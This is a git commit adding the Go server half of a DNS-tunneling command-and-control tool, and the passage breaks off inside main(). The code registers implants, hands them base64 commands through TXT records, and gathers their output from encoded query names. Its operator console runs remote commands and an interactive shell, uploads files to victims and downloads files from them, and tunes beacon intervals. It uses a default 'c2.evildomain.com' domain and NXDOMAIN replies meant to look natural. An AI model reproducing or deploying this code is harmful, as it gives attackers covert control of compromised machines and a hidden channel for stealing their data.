Upload files to "c2s_dns_tunnel/cmd/server"
This commit is contained in:
parent
e2dcfedfb9
commit
c9f66bcc83
829
c2s_dns_tunnel/cmd/server/main.go
Normal file
829
c2s_dns_tunnel/cmd/server/main.go
Normal file
|
|
@ -0,0 +1,829 @@
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"crypto/rand"
|
||||||
|
"encoding/base64"
|
||||||
|
"encoding/hex"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"os/signal"
|
||||||
|
"sort"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"syscall"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/miekg/dns"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ─── Constants ───────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
const (
|
||||||
|
defaultListen = ":5353"
|
||||||
|
chunkSize = 400 // max base64 payload per DNS label (well under 512 after overhead)
|
||||||
|
maxQueryLabels = 6 // max subdomain labels before the domain
|
||||||
|
)
|
||||||
|
|
||||||
|
// ─── Implant State ───────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
type ImplantState struct {
|
||||||
|
mu sync.Mutex
|
||||||
|
ID string
|
||||||
|
FirstSeen time.Time
|
||||||
|
LastSeen time.Time
|
||||||
|
PendingOutput []string // base64 output chunks from implant, in order
|
||||||
|
PendingCmd string // base64-encoded command waiting for implant
|
||||||
|
PendingCmdSeq int // chunk sequence for command
|
||||||
|
PendingCmdChunks []string
|
||||||
|
PendingCmdTotal int
|
||||||
|
Interval int // seconds between queries (server-controlled)
|
||||||
|
}
|
||||||
|
|
||||||
|
type C2Server struct {
|
||||||
|
mu sync.RWMutex
|
||||||
|
implants map[string]*ImplantState
|
||||||
|
domain string // e.g. "c2.evildomain.com"
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewC2Server(domain string) *C2Server {
|
||||||
|
return &C2Server{
|
||||||
|
implants: make(map[string]*ImplantState),
|
||||||
|
domain: domain,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *C2Server) getOrCreate(id string) *ImplantState {
|
||||||
|
s.mu.Lock()
|
||||||
|
defer s.mu.Unlock()
|
||||||
|
imp, ok := s.implants[id]
|
||||||
|
if !ok {
|
||||||
|
imp = &ImplantState{
|
||||||
|
ID: id,
|
||||||
|
FirstSeen: time.Now(),
|
||||||
|
LastSeen: time.Now(),
|
||||||
|
Interval: 30,
|
||||||
|
}
|
||||||
|
s.implants[id] = imp
|
||||||
|
} else {
|
||||||
|
imp.LastSeen = time.Now()
|
||||||
|
}
|
||||||
|
return imp
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── DNS Handler ─────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func (s *C2Server) ServeDNS(w dns.ResponseWriter, req *dns.Msg) {
|
||||||
|
if len(req.Question) == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
q := req.Question[0]
|
||||||
|
domain := dns.Fqdn(q.Name)
|
||||||
|
|
||||||
|
// Strip trailing dot for parsing
|
||||||
|
fqdn := strings.TrimSuffix(domain, ".")
|
||||||
|
|
||||||
|
// We only care about our domain
|
||||||
|
if !strings.HasSuffix(fqdn, s.domain) {
|
||||||
|
// Return NXDOMAIN for unknown domains — looks natural
|
||||||
|
m := new(dns.Msg)
|
||||||
|
m.SetReply(req)
|
||||||
|
m.Rcode = dns.RcodeNameError
|
||||||
|
w.WriteMsg(m)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// The expected fqdn format:
|
||||||
|
// <status>.<implant-id>.<base64-output>.c2.<domain>
|
||||||
|
// e.g., "ready.myimplant.aGVsbG8=.c2.evildomain.com"
|
||||||
|
// or there may be additional labels for chunked data:
|
||||||
|
// <status>.<implant-id>.<chunk-seq>.<total-chunks>.<base64-chunk>.c2.<domain>
|
||||||
|
|
||||||
|
// Strip the domain prefix
|
||||||
|
tail := strings.TrimSuffix(fqdn, "."+s.domain)
|
||||||
|
tail = strings.TrimSuffix(tail, ".c2")
|
||||||
|
|
||||||
|
if tail == "" {
|
||||||
|
m := new(dns.Msg)
|
||||||
|
m.SetReply(req)
|
||||||
|
m.Rcode = dns.RcodeNameError
|
||||||
|
w.WriteMsg(m)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
labels := strings.Split(tail, ".")
|
||||||
|
if len(labels) < 2 {
|
||||||
|
m := new(dns.Msg)
|
||||||
|
m.SetReply(req)
|
||||||
|
m.Rcode = dns.RcodeNameError
|
||||||
|
w.WriteMsg(m)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
status := labels[0]
|
||||||
|
implantID := labels[1]
|
||||||
|
|
||||||
|
imp := s.getOrCreate(implantID)
|
||||||
|
|
||||||
|
switch q.Qtype {
|
||||||
|
case dns.TypeTXT:
|
||||||
|
s.handleTXTQuery(w, req, imp, status, labels[2:])
|
||||||
|
case dns.TypeA:
|
||||||
|
// Implant is doing a lookup — return nothing for A but
|
||||||
|
// still capture the query. Some implementations use A
|
||||||
|
// with subdomain encoding.
|
||||||
|
s.handleAQuery(w, req, imp, status, labels[2:])
|
||||||
|
default:
|
||||||
|
m := new(dns.Msg)
|
||||||
|
m.SetReply(req)
|
||||||
|
w.WriteMsg(m)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *C2Server) handleAQuery(w dns.ResponseWriter, req *dns.Msg, imp *ImplantState, status string, dataLabels []string) {
|
||||||
|
m := new(dns.Msg)
|
||||||
|
m.SetReply(req)
|
||||||
|
|
||||||
|
// Still process any data encoded in the query
|
||||||
|
if len(dataLabels) > 0 {
|
||||||
|
s.processImplantData(imp, status, dataLabels)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Return NXDOMAIN — no A records here
|
||||||
|
m.Rcode = dns.RcodeNameError
|
||||||
|
w.WriteMsg(m)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *C2Server) handleTXTQuery(w dns.ResponseWriter, req *dns.Msg, imp *ImplantState, status string, dataLabels []string) {
|
||||||
|
m := new(dns.Msg)
|
||||||
|
m.SetReply(req)
|
||||||
|
m.Authoritative = true
|
||||||
|
|
||||||
|
// Process any data coming from the implant
|
||||||
|
if len(dataLabels) > 0 {
|
||||||
|
s.processImplantData(imp, status, dataLabels)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if there's a pending command
|
||||||
|
imp.mu.Lock()
|
||||||
|
cmd := imp.PendingCmd
|
||||||
|
hasCmd := cmd != ""
|
||||||
|
imp.mu.Unlock()
|
||||||
|
|
||||||
|
if hasCmd {
|
||||||
|
// Return the pending command as TXT records
|
||||||
|
imp.mu.Lock()
|
||||||
|
command := imp.PendingCmd
|
||||||
|
chunks := imp.PendingCmdChunks
|
||||||
|
total := imp.PendingCmdTotal
|
||||||
|
|
||||||
|
if total <= 1 {
|
||||||
|
// Single chunk — return directly
|
||||||
|
rr, err := dns.NewRR(fmt.Sprintf("%s TXT \"%s\"", dns.Fqdn(req.Question[0].Name), command))
|
||||||
|
if err == nil {
|
||||||
|
m.Answer = append(m.Answer, rr)
|
||||||
|
}
|
||||||
|
// Clear the command
|
||||||
|
imp.PendingCmd = ""
|
||||||
|
imp.PendingCmdChunks = nil
|
||||||
|
imp.PendingCmdTotal = 0
|
||||||
|
imp.PendingCmdSeq = 0
|
||||||
|
} else {
|
||||||
|
// Send next chunk
|
||||||
|
if imp.PendingCmdSeq < len(chunks) {
|
||||||
|
chunk := chunks[imp.PendingCmdSeq]
|
||||||
|
chunkLabel := fmt.Sprintf("%s.%d.%d", chunk, imp.PendingCmdSeq+1, total)
|
||||||
|
rr, err := dns.NewRR(fmt.Sprintf("%s TXT \"%s\"", dns.Fqdn(req.Question[0].Name), chunkLabel))
|
||||||
|
if err == nil {
|
||||||
|
m.Answer = append(m.Answer, rr)
|
||||||
|
}
|
||||||
|
imp.PendingCmdSeq++
|
||||||
|
if imp.PendingCmdSeq >= total {
|
||||||
|
imp.PendingCmd = ""
|
||||||
|
imp.PendingCmdChunks = nil
|
||||||
|
imp.PendingCmdTotal = 0
|
||||||
|
imp.PendingCmdSeq = 0
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
imp.mu.Unlock()
|
||||||
|
} else {
|
||||||
|
// No pending command — return empty TXT (just a space)
|
||||||
|
rr, err := dns.NewRR(fmt.Sprintf("%s TXT \"\"", dns.Fqdn(req.Question[0].Name)))
|
||||||
|
if err == nil {
|
||||||
|
m.Answer = append(m.Answer, rr)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
w.WriteMsg(m)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *C2Server) processImplantData(imp *ImplantState, status string, dataLabels []string) {
|
||||||
|
// Parse dataLabels:
|
||||||
|
// For simple: [base64output]
|
||||||
|
// For chunked: [chunk-seq, total-chunks, base64chunk, ...]
|
||||||
|
// Multiple base64 chunks can appear
|
||||||
|
|
||||||
|
var outputChunks []string
|
||||||
|
remainingLabels := dataLabels
|
||||||
|
|
||||||
|
for len(remainingLabels) > 0 {
|
||||||
|
// Check if next labels look like a chunked header: seq.total.data
|
||||||
|
// or just raw data
|
||||||
|
label := remainingLabels[0]
|
||||||
|
|
||||||
|
// Try to decode as base64
|
||||||
|
decoded, err := decodeB64Safe(label)
|
||||||
|
if err == nil && len(decoded) > 0 {
|
||||||
|
outputChunks = append(outputChunks, label)
|
||||||
|
remainingLabels = remainingLabels[1:]
|
||||||
|
} else {
|
||||||
|
// Check for seq.total.data pattern
|
||||||
|
if len(remainingLabels) >= 3 {
|
||||||
|
seq, err1 := strconv.Atoi(remainingLabels[0])
|
||||||
|
total, err2 := strconv.Atoi(remainingLabels[1])
|
||||||
|
if err1 == nil && err2 == nil && seq > 0 && total > 0 && seq <= total {
|
||||||
|
data := remainingLabels[2]
|
||||||
|
outputChunks = append(outputChunks, fmt.Sprintf("[%d/%d]%s", seq, total, data))
|
||||||
|
remainingLabels = remainingLabels[3:]
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Unknown format, skip
|
||||||
|
remainingLabels = remainingLabels[1:]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(outputChunks) > 0 {
|
||||||
|
imp.mu.Lock()
|
||||||
|
imp.PendingOutput = append(imp.PendingOutput, outputChunks...)
|
||||||
|
imp.mu.Unlock()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Command Queueing ────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func (s *C2Server) QueueCommand(id string, command string) error {
|
||||||
|
s.mu.RLock()
|
||||||
|
imp, ok := s.implants[id]
|
||||||
|
s.mu.RUnlock()
|
||||||
|
if !ok {
|
||||||
|
return fmt.Errorf("implant %s not found", id)
|
||||||
|
}
|
||||||
|
|
||||||
|
encoded := base64.StdEncoding.EncodeToString([]byte(command))
|
||||||
|
|
||||||
|
// If the command fits in a single chunk, send it directly
|
||||||
|
if len(encoded) <= chunkSize {
|
||||||
|
imp.mu.Lock()
|
||||||
|
imp.PendingCmd = encoded
|
||||||
|
imp.PendingCmdChunks = nil
|
||||||
|
imp.PendingCmdTotal = 1
|
||||||
|
imp.PendingCmdSeq = 0
|
||||||
|
imp.mu.Unlock()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Chunk the command
|
||||||
|
chunks := chunkString(encoded, chunkSize)
|
||||||
|
imp.mu.Lock()
|
||||||
|
imp.PendingCmd = encoded
|
||||||
|
imp.PendingCmdChunks = chunks
|
||||||
|
imp.PendingCmdTotal = len(chunks)
|
||||||
|
imp.PendingCmdSeq = 0
|
||||||
|
imp.mu.Unlock()
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *C2Server) QueueCommandRaw(id string, encodedCmd string) error {
|
||||||
|
s.mu.RLock()
|
||||||
|
imp, ok := s.implants[id]
|
||||||
|
s.mu.RUnlock()
|
||||||
|
if !ok {
|
||||||
|
return fmt.Errorf("implant %s not found", id)
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(encodedCmd) <= chunkSize {
|
||||||
|
imp.mu.Lock()
|
||||||
|
imp.PendingCmd = encodedCmd
|
||||||
|
imp.PendingCmdChunks = nil
|
||||||
|
imp.PendingCmdTotal = 1
|
||||||
|
imp.PendingCmdSeq = 0
|
||||||
|
imp.mu.Unlock()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
chunks := chunkString(encodedCmd, chunkSize)
|
||||||
|
imp.mu.Lock()
|
||||||
|
imp.PendingCmd = encodedCmd
|
||||||
|
imp.PendingCmdChunks = chunks
|
||||||
|
imp.PendingCmdTotal = len(chunks)
|
||||||
|
imp.PendingCmdSeq = 0
|
||||||
|
imp.mu.Unlock()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *C2Server) SetInterval(id string, interval int) error {
|
||||||
|
s.mu.RLock()
|
||||||
|
imp, ok := s.implants[id]
|
||||||
|
s.mu.RUnlock()
|
||||||
|
if !ok {
|
||||||
|
return fmt.Errorf("implant %s not found", id)
|
||||||
|
}
|
||||||
|
imp.mu.Lock()
|
||||||
|
imp.Interval = interval
|
||||||
|
imp.mu.Unlock()
|
||||||
|
|
||||||
|
// Queue a special "INTERVAL:<N>" command to tell the implant
|
||||||
|
cmd := fmt.Sprintf("__INTERVAL__:%d", interval)
|
||||||
|
return s.QueueCommand(id, cmd)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Operator Interface ──────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func operatorUI(srv *C2Server, shutdown chan struct{}) {
|
||||||
|
reader := bufio.NewReader(os.Stdin)
|
||||||
|
var selectedID string
|
||||||
|
|
||||||
|
// Read a single line and then check behavior
|
||||||
|
fmt.Println("╔══════════════════════════════════════════════╗")
|
||||||
|
fmt.Println("║ DNS Tunneling C2 — Operator Console ║")
|
||||||
|
fmt.Println("╚══════════════════════════════════════════════╝")
|
||||||
|
fmt.Println()
|
||||||
|
printHelp()
|
||||||
|
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-shutdown:
|
||||||
|
fmt.Println("Shutting down...")
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
prefix := "C2> "
|
||||||
|
if selectedID != "" {
|
||||||
|
prefix = fmt.Sprintf("C2[%s]> ", selectedID)
|
||||||
|
}
|
||||||
|
fmt.Print(prefix)
|
||||||
|
|
||||||
|
input, err := reader.ReadString('\n')
|
||||||
|
if err != nil {
|
||||||
|
if err == io.EOF {
|
||||||
|
// EOF from stdin (daemon/pipe mode) — wait for signal
|
||||||
|
fmt.Println("\nDaemon mode — waiting for signal to shut down...")
|
||||||
|
<-shutdown
|
||||||
|
return
|
||||||
|
}
|
||||||
|
log.Printf("Read error: %v", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
input = strings.TrimSpace(input)
|
||||||
|
if input == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
args := strings.Fields(input)
|
||||||
|
cmd := args[0]
|
||||||
|
|
||||||
|
switch cmd {
|
||||||
|
case "help", "h", "?":
|
||||||
|
printHelp()
|
||||||
|
|
||||||
|
case "list", "ls":
|
||||||
|
listImplants(srv)
|
||||||
|
|
||||||
|
case "use":
|
||||||
|
if len(args) < 2 {
|
||||||
|
fmt.Println("Usage: use <implant-id>")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
id := args[1]
|
||||||
|
srv.mu.RLock()
|
||||||
|
_, ok := srv.implants[id]
|
||||||
|
srv.mu.RUnlock()
|
||||||
|
if !ok {
|
||||||
|
fmt.Printf("Implant %s not found\n", id)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
selectedID = id
|
||||||
|
fmt.Printf("Selected implant: %s\n", id)
|
||||||
|
|
||||||
|
case "back":
|
||||||
|
if selectedID != "" {
|
||||||
|
fmt.Printf("Deselected implant %s\n", selectedID)
|
||||||
|
selectedID = ""
|
||||||
|
} else {
|
||||||
|
fmt.Println("No implant selected")
|
||||||
|
}
|
||||||
|
|
||||||
|
case "exec":
|
||||||
|
if selectedID == "" {
|
||||||
|
fmt.Println("No implant selected. Use 'use <id>' first.")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if len(args) < 2 {
|
||||||
|
fmt.Println("Usage: exec <command>")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
command := strings.Join(args[1:], " ")
|
||||||
|
err := srv.QueueCommand(selectedID, command)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("Error: %v\n", err)
|
||||||
|
} else {
|
||||||
|
fmt.Printf("Queued command for %s: %s\n", selectedID, command)
|
||||||
|
}
|
||||||
|
|
||||||
|
case "interval":
|
||||||
|
if selectedID == "" {
|
||||||
|
fmt.Println("No implant selected.")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if len(args) < 2 {
|
||||||
|
// Show current interval
|
||||||
|
srv.mu.RLock()
|
||||||
|
imp, ok := srv.implants[selectedID]
|
||||||
|
srv.mu.RUnlock()
|
||||||
|
if ok {
|
||||||
|
imp.mu.Lock()
|
||||||
|
fmt.Printf("Current interval: %ds\n", imp.Interval)
|
||||||
|
imp.mu.Unlock()
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
n, err := strconv.Atoi(args[1])
|
||||||
|
if err != nil || n < 1 {
|
||||||
|
fmt.Println("Interval must be a positive integer (seconds)")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
err = srv.SetInterval(selectedID, n)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("Error: %v\n", err)
|
||||||
|
} else {
|
||||||
|
fmt.Printf("Set interval for %s to %ds\n", selectedID, n)
|
||||||
|
}
|
||||||
|
|
||||||
|
case "upload":
|
||||||
|
if selectedID == "" {
|
||||||
|
fmt.Println("No implant selected.")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if len(args) < 3 {
|
||||||
|
fmt.Println("Usage: upload <local_file> <remote_path>")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
localFile := args[1]
|
||||||
|
remotePath := args[2]
|
||||||
|
handleUpload(srv, selectedID, localFile, remotePath)
|
||||||
|
|
||||||
|
case "download":
|
||||||
|
if selectedID == "" {
|
||||||
|
fmt.Println("No implant selected.")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if len(args) < 2 {
|
||||||
|
fmt.Println("Usage: download <remote_path>")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
remotePath := args[1]
|
||||||
|
handleDownload(srv, selectedID, remotePath)
|
||||||
|
|
||||||
|
case "output":
|
||||||
|
if selectedID == "" {
|
||||||
|
fmt.Println("No implant selected.")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
srv.mu.RLock()
|
||||||
|
imp, ok := srv.implants[selectedID]
|
||||||
|
srv.mu.RUnlock()
|
||||||
|
if !ok {
|
||||||
|
fmt.Println("Implant not found")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
imp.mu.Lock()
|
||||||
|
if len(imp.PendingOutput) == 0 {
|
||||||
|
fmt.Println("No pending output")
|
||||||
|
} else {
|
||||||
|
fmt.Printf("=== Output for %s ===\n", selectedID)
|
||||||
|
for _, chunk := range imp.PendingOutput {
|
||||||
|
decoded, err := decodeB64Safe(chunk)
|
||||||
|
if err == nil {
|
||||||
|
fmt.Print(string(decoded))
|
||||||
|
} else {
|
||||||
|
fmt.Print(chunk)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fmt.Println()
|
||||||
|
fmt.Println("======================")
|
||||||
|
imp.PendingOutput = nil
|
||||||
|
}
|
||||||
|
imp.mu.Unlock()
|
||||||
|
|
||||||
|
case "info":
|
||||||
|
if selectedID == "" {
|
||||||
|
fmt.Println("No implant selected.")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
srv.mu.RLock()
|
||||||
|
imp, ok := srv.implants[selectedID]
|
||||||
|
srv.mu.RUnlock()
|
||||||
|
if ok {
|
||||||
|
imp.mu.Lock()
|
||||||
|
fmt.Printf("Implant ID: %s\n", imp.ID)
|
||||||
|
fmt.Printf("First Seen: %s\n", imp.FirstSeen.Format(time.RFC3339))
|
||||||
|
fmt.Printf("Last Seen: %s\n", imp.LastSeen.Format(time.RFC3339))
|
||||||
|
fmt.Printf("Interval: %ds\n", imp.Interval)
|
||||||
|
hasCmd := imp.PendingCmd != ""
|
||||||
|
imp.mu.Unlock()
|
||||||
|
if hasCmd {
|
||||||
|
fmt.Println("Command Queued: YES")
|
||||||
|
} else {
|
||||||
|
fmt.Println("Command Queued: no")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
case "clear", "cls":
|
||||||
|
fmt.Print("\033[H\033[2J")
|
||||||
|
|
||||||
|
case "exit", "quit", "q":
|
||||||
|
fmt.Println("Shutting down...")
|
||||||
|
os.Exit(0)
|
||||||
|
|
||||||
|
case "shell":
|
||||||
|
if selectedID == "" {
|
||||||
|
fmt.Println("No implant selected.")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
fmt.Println("Entering interactive shell mode for", selectedID)
|
||||||
|
fmt.Println("Type 'EXIT' to return to C2 prompt")
|
||||||
|
for {
|
||||||
|
fmt.Printf("⌂ %s $ ", selectedID)
|
||||||
|
line, err := reader.ReadString('\n')
|
||||||
|
if err != nil {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
line = strings.TrimSpace(line)
|
||||||
|
if line == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if strings.ToUpper(line) == "EXIT" {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
err = srv.QueueCommand(selectedID, line)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("Error: %v\n", err)
|
||||||
|
} else {
|
||||||
|
fmt.Printf("Queued: %s\n", line)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
default:
|
||||||
|
fmt.Printf("Unknown command: %s\n", cmd)
|
||||||
|
fmt.Println("Type 'help' for available commands")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func printHelp() {
|
||||||
|
fmt.Println("Available Commands:")
|
||||||
|
fmt.Println(" help, h, ? — Show this help")
|
||||||
|
fmt.Println(" list, ls — List connected implants")
|
||||||
|
fmt.Println(" use <id> — Select an implant")
|
||||||
|
fmt.Println(" back — Deselect current implant")
|
||||||
|
fmt.Println(" info — Show selected implant info")
|
||||||
|
fmt.Println(" exec <cmd> — Execute a command on selected implant")
|
||||||
|
fmt.Println(" shell — Interactive one-shot shell mode")
|
||||||
|
fmt.Println(" interval <sec> — Set query interval for selected implant")
|
||||||
|
fmt.Println(" upload <local> <remote> — Upload file to implant (chunked)")
|
||||||
|
fmt.Println(" download <remote> — Download file from implant")
|
||||||
|
fmt.Println(" output — Show pending output from selected implant")
|
||||||
|
fmt.Println(" clear, cls — Clear screen")
|
||||||
|
fmt.Println(" exit, q — Quit")
|
||||||
|
fmt.Println()
|
||||||
|
}
|
||||||
|
|
||||||
|
func listImplants(srv *C2Server) {
|
||||||
|
srv.mu.RLock()
|
||||||
|
defer srv.mu.RUnlock()
|
||||||
|
|
||||||
|
if len(srv.implants) == 0 {
|
||||||
|
fmt.Println("No implants connected")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
ids := make([]string, 0, len(srv.implants))
|
||||||
|
for id := range srv.implants {
|
||||||
|
ids = append(ids, id)
|
||||||
|
}
|
||||||
|
sort.Strings(ids)
|
||||||
|
|
||||||
|
fmt.Printf("%-30s %-20s %-20s %s\n", "IMPLANT ID", "FIRST SEEN", "LAST SEEN", "OUTPUT")
|
||||||
|
fmt.Println(strings.Repeat("─", 90))
|
||||||
|
for _, id := range ids {
|
||||||
|
imp := srv.implants[id]
|
||||||
|
imp.mu.Lock()
|
||||||
|
first := imp.FirstSeen.Format("15:04:05 Jan02")
|
||||||
|
last := imp.LastSeen.Format("15:04:05 Jan02")
|
||||||
|
oc := len(imp.PendingOutput)
|
||||||
|
imp.mu.Unlock()
|
||||||
|
outputStatus := ""
|
||||||
|
if oc > 0 {
|
||||||
|
outputStatus = fmt.Sprintf("%d chunks", oc)
|
||||||
|
}
|
||||||
|
fmt.Printf("%-30s %-20s %-20s %s\n", id, first, last, outputStatus)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── File Upload/Download ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func handleUpload(srv *C2Server, implantID, localPath, remotePath string) {
|
||||||
|
data, err := os.ReadFile(localPath)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("Error reading %s: %v\n", localPath, err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Command format: __UPLOAD__:<remote_path>:<chunk_base64>
|
||||||
|
// We send __UPLOAD_START__ with total size, then chunks, then __UPLOAD_END__
|
||||||
|
encoded := base64.StdEncoding.EncodeToString(data)
|
||||||
|
|
||||||
|
// First send the init command
|
||||||
|
initCmd := fmt.Sprintf("__UPLOAD_START__:%s:%d", remotePath, len(data))
|
||||||
|
if err := srv.QueueCommand(implantID, initCmd); err != nil {
|
||||||
|
fmt.Printf("Error queueing upload start: %v\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
fmt.Printf("Upload start queued for %s -> %s (%d bytes)\n", localPath, remotePath, len(data))
|
||||||
|
|
||||||
|
// Send chunks
|
||||||
|
chunks := chunkString(encoded, chunkSize)
|
||||||
|
for i, chunk := range chunks {
|
||||||
|
chunkCmd := fmt.Sprintf("__UPLOAD_CHUNK__:%d:%d:%s", i+1, len(chunks), chunk)
|
||||||
|
if err := srv.QueueCommand(implantID, chunkCmd); err != nil {
|
||||||
|
fmt.Printf("Error queueing chunk %d/%d: %v\n", i+1, len(chunks), err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
fmt.Printf(" Chunk %d/%d queued\n", i+1, len(chunks))
|
||||||
|
}
|
||||||
|
|
||||||
|
// Finalize
|
||||||
|
endCmd := fmt.Sprintf("__UPLOAD_END__:%s", remotePath)
|
||||||
|
if err := srv.QueueCommand(implantID, endCmd); err != nil {
|
||||||
|
fmt.Printf("Error queueing upload end: %v\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
fmt.Printf("Upload complete: %s -> %s\n", localPath, remotePath)
|
||||||
|
}
|
||||||
|
|
||||||
|
func handleDownload(srv *C2Server, implantID, remotePath string) {
|
||||||
|
cmd := fmt.Sprintf("__DOWNLOAD__:%s", remotePath)
|
||||||
|
if err := srv.QueueCommand(implantID, cmd); err != nil {
|
||||||
|
fmt.Printf("Error: %v\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
fmt.Printf("Download request queued for %s\n", remotePath)
|
||||||
|
fmt.Println("Use 'output' to retrieve the file data when it arrives")
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Utilities ───────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func chunkString(s string, size int) []string {
|
||||||
|
if len(s) == 0 {
|
||||||
|
return []string{""}
|
||||||
|
}
|
||||||
|
var chunks []string
|
||||||
|
for i := 0; i < len(s); i += size {
|
||||||
|
end := i + size
|
||||||
|
if end > len(s) {
|
||||||
|
end = len(s)
|
||||||
|
}
|
||||||
|
chunks = append(chunks, s[i:end])
|
||||||
|
}
|
||||||
|
return chunks
|
||||||
|
}
|
||||||
|
|
||||||
|
func decodeB64Safe(s string) ([]byte, error) {
|
||||||
|
// Try standard base64 first
|
||||||
|
data, err := base64.StdEncoding.DecodeString(s)
|
||||||
|
if err == nil {
|
||||||
|
return data, nil
|
||||||
|
}
|
||||||
|
// Try URL-safe
|
||||||
|
data, err = base64.URLEncoding.DecodeString(s)
|
||||||
|
if err == nil {
|
||||||
|
return data, nil
|
||||||
|
}
|
||||||
|
// Try with padding fixes
|
||||||
|
pad := 4 - len(s)%4
|
||||||
|
if pad < 4 {
|
||||||
|
s = s + strings.Repeat("=", pad)
|
||||||
|
}
|
||||||
|
return base64.StdEncoding.DecodeString(s)
|
||||||
|
}
|
||||||
|
|
||||||
|
func generateID() string {
|
||||||
|
b := make([]byte, 8)
|
||||||
|
rand.Read(b)
|
||||||
|
return hex.EncodeToString(b)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Main ────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
listenAddr := os.Getenv("C2_LISTEN")
|
||||||
|
if listenAddr == "" {
|
||||||
|
listenAddr = defaultListen
|
||||||
|
}
|
||||||
|
|
||||||
|
domain := os.Getenv("C2_DOMAIN")
|
||||||
|
if domain == "" {
|
||||||
|
domain = "c2.evildomain.com"
|
||||||
|
}
|
||||||
|
|
||||||
|
// Allow override via flags (simple approach)
|
||||||
|
for i := 1; i < len(os.Args); i++ {
|
||||||
|
switch os.Args[i] {
|
||||||
|
case "-listen":
|
||||||
|
if i+1 < len(os.Args) {
|
||||||
|
listenAddr = os.Args[i+1]
|
||||||
|
i++
|
||||||
|
}
|
||||||
|
case "-domain":
|
||||||
|
if i+1 < len(os.Args) {
|
||||||
|
domain = os.Args[i+1]
|
||||||
|
i++
|
||||||
|
}
|
||||||
|
case "-h", "--help":
|
||||||
|
fmt.Println("DNS Tunnel C2 Server")
|
||||||
|
fmt.Println()
|
||||||
|
fmt.Println("Usage: c2-server [-listen :5353] [-domain c2.evildomain.com]")
|
||||||
|
fmt.Println()
|
||||||
|
